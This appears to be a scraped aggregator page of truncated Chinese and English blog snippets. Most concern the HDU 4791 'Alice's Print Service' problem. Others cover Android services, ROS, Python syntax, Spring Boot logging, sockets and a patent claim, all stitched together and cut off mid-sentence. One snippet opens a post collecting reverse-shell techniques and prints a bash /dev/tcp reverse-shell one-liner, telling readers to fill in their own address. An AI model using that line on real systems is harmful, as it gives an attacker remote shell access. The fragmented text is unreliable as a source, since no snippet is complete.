Alice's Print Service Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)Total Submission(s): 1855    Accepted Submission(s): 454 Problem Description Alice is providing print service, while the pricing doesn't seem to…

Alice's Print Service Time Limit: 2 Seconds      Memory Limit: 65536 KB Alice is providing print service, while the pricing doesn't seem to be reasonable, so people using her print service found some tricks to save money. For example, the price when…

A - Alice's Print Service Time Limit:1000MS     Memory Limit:32768KB     64bit IO Format:%I64d & %I64u Submit Status Practice HDU 4791 Description Alice is providing print service, while the pricing doesn't seem to be reasonable, so people using her…

Alice's Print Service Time Limit: 2 Seconds      Memory Limit: 65536 KB Alice is providing print service, while the pricing doesn't seem to be reasonable, so people using her print service found some tricks to save money. For example, the price when…

Alice is providing print service, while the pricing doesn't seem to be reasonable, so people using her print service found some tricks to save money. For example, the price when printing less than 100 pages is 20 cents per page, but when printing not…

Alice is providing print service, while the pricing doesn't seem to be reasonable, so people using her print service found some tricks to save money.For example, the price when printing less than 100 pages is 20 cents per page, but when printing not…

题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=4791 解题报告:打印店提供打印纸张服务,需要收取费用,输入格式是s1 p1 s2 p2 s3 p3...表示打印区间s1到s2张纸的单价是p1,打印区间s2 到s3的单价是p2....最后是sn到无穷大的单价是pn,让你求打印k张纸的总费用最少是多少?有m次查询. 因为s1*p1 > s2 * p2 > s3*p3......,很显然,加入k所在的那个区间是第x个区间,那么最低费用要么是k * p…

题意:就是一个打印分段收费政策,印的越多,单张价格越低,输入需要印刷的数量,求最小印刷费用一个细节就是,比当前还小的状态可能是最后几个. #include<stdio.h> #include<string.h> #include<cstdio> #include<string> #include<math.h> #include<algorithm> #include<iostream> #define LL long l…

点击打开链接 Alice's Print Service Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 1084    Accepted Submission(s): 240 Problem Description Alice is providing print service, while the pricing doesn't…

题目链接: HDU:http://acm.hdu.edu.cn/showproblem.php?pid=4791 ZJU:http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemId=5072 Problem Description Alice is providing print service, while the pricing doesn't seem to be reasonable, so people using her pr…

题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=4791 题目解释:给你一组数据s1,p1,s2,p2...sn,pn,一个数字q,问你当要打印q张资料时,最少花费是多少?值得注意的是p1>p2>p3>...>pn,就是因为看清这个条件,走了很多弯路. 代码: #include<cstdio> #include<cstring> #include<cstdlib> #include<algori…

全场最水题. 保留打印a[i]份分别需要的钱,从后往前扫一遍,保证取得最优解. 查找的时候,二分同时判断最小值即可. 注意初值的设定应该设定为long long 的无穷大. #include <iostream> #include <cstdio> #include <cstring> #define maxn 100100 typedef long long ll; using namespace std; ll a[maxn],b[maxn],c[maxn],f[m…

分析: 1.由于价格是递减的,所以可能出现si*pi>sj*pj(j>i).所以要有一个数组来储存当前端点的最小值. 2.然后二分查找当前的si,比较q*p[i]和M[i+1].不过在这之前要确认i是小于n的.] 3.upper_bound是返回第一个大于当前值得坐标,否则返回左闭右开的右端点.而lower_bound是返回第一个大于等于当前值得坐标.所以这里采用upper_bound. #include <iostream> #include <cstdio> #in…

Alice's Print Service Time Limit: 2 Seconds      Memory Limit: 65536 KB Alice is providing print service, while the pricing doesn't seem to be reasonable, so people using her print service found some tricks to save money. For example, the price when…

public class MyService extends Service { public MyService() { } @Override public IBinder onBind(Intent intent) { // TODO: Return the communication channel to the service. //throw new UnsupportedOperationException("Not yet implemented"); return n…

Server部分: #!/usr/bin/env python import sys import os import rospy #from beginner.srv import * from beginner.srv import AddTwoInts def add_two_ints_client(x,y): rospy.wait_for_service('add_two_ints')# rospy.wait_for_service(‘service的tipoc’) try: add_t…

Server部分: #!/usr/bin/env python import sys import os import rospy #from beginner.srv import * from beginner.srv import AddTwoInts def add_two_ints_client(x,y): rospy.wait_for_service('add_two_ints')# rospy.wait_for_service(‘service的tipoc’) try: add_t…

Service跟Windows系统里的服务概念差不多,都在后台执行,它跟Activity的最大区别就是,它是无界面的 开发Service与开发Activity的步骤类似 1.定义一个继承Service的子类 2.在AndroidManifest.xml文件中配置该Service Service与Activity还有一点相似之处,它们都是从Context派生出来的,因此它们都可调用Context里定义的如getResources(),getContentResolver()等方法 下面写一个简单的…

time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output   It is so boring in the summer holiday, isn't it? So Alice and Bob have invented a new game to play. The rules are as follows. First, they…

A method implemented by a network device residing in a service domain, wherein the network device comprises an information centric networking (ICN) transport layer and a service access layer (SAL) for handling context-aware service logistics and serv…

It is so boring in the summer holiday, isn't it? So Alice and Bob have invented a new game to play. The rules are as follows. First, they get a set of n distinct integers. And then they take turns to make the following moves. During each move, either…

最近在学习springboot以及一些springcloud插件的使用,其中发现默认的配置并不能打印一些有用的日志,所以需要自定义一些日志输出方式以便于查看日志排查问题,目前只整理了两种使用方式,如下: 1 简单日志配置默认情况下spring boot使用Logback作为日志实现的框架,其内部使用Commons Logging来记录日志,同时也保留外部接口可以让一些日志框架来进行实现,例如Java Util Logging,Log4J2还有Logback,如果你想用某一种日志框架来进行实现的话…

[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里shell由bash解析,有时候是由sh解析,不一定百发百中***在虚拟机里面试过可行,替换成自己的地址和端口即可******/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件,读取或写入相当于建立socket调用******由于其特殊性,命令执行后依旧无法找到/dev/tcp目…

阅读目录 一.if语句 1.1功能 1.2语法 1.2.1:单分支,单重条件判断 1.2.2:单分支,多重条件判断 1.2.3:if + else 1.2.4:多分支if + elif +else 1.2.5if语句小结 1.3案例 1.4三元表达式 二.while语句 2.1功能 2.2语法 2.2.1:基本语法 2.2.2:计数循环 2.2.3:计数无限循环 2.2.4:while与break,continue,else连用 2.2.5:while语句小结 2.3:案例 三.for语句 3.…

python语法学习笔记: 1 输入输出 input(),print(). name = input('input your name : ')print('hello ,'+name)print(" I'm python "*3)print('{}+{}={}'.format(1,2,1+2))print(1,2,['x','y'],'a')print(type('1'),type(1))print(len(name)) 运行结果: 2 打开文件,写入数据. file=open('D…

Atitit  J2EE平台相关规范--39个  3.J2SE平台相关规范--42个 2.J2EE平台相关规范--39个5 XML Parsing Specification16 J2EE Connector Architecture19 Enterprise JavaBeans 2.052 A Standard Tag Library for JavaServer Pages53 Java Servlet 2.3 and JavaServer Pages 1.2 Specifications5…

Atitit jsr规范有多少个  407个.Jsr规范大全 1.1. JCP维护职能是发展和更新.1 1.2. Java技术规范.参考实现(RI).技术兼容包(TCK)1 1.3. JCP维护的规范包括J2ME.J2SE.J2EE,XML,OSS,JAIN等1 1.4. 所有的jsr规范大全407个..2 2. 900开头的java 核心规范  30个11 1.1. JCP维护职能是发展和更新. 1.2. Java技术规范.参考实现(RI).技术兼容包(TCK) 1.3. JCP维护的规范包括…

  #!/usr/bin/env python # encoding: utf-8 import socket ip_port = ('127.0.0.1',9999) sk = socket.socket() sk.bind(ip_port)#将套接字绑定到地址 sk.listen(5)#开始监听传入连接.backlog指定在拒绝连接之前,操作系统可以挂起的最大连接数量. while True: print("service wating...") conn,addr = sk.ac…

1. 修改类函数. 场景: 如果要给一个类的所有方法加上计时,并打印出来.demo如下: # -*- coding:utf-8 -*- import time def time_it(fn): "Example of a method decorator" def decorator(*args, **kwargs): t1=time.time() ret = fn(*args, **kwargs) print '\t\t%d seconds taken for %s'%(time.t…

__len__ 如果一个类表现得像一个list,要获取有多少个元素,就得用 len() 函数. 要让 len() 函数工作正常,类必须提供一个特殊方法__len__(),它返回元素的个数. 例如,我们写一个 Students 类,把名字传进去: class Students(object): def __init__(self, *args): self.names = args def __len__(self): return len(self.names) 只要正确实现了__len__()…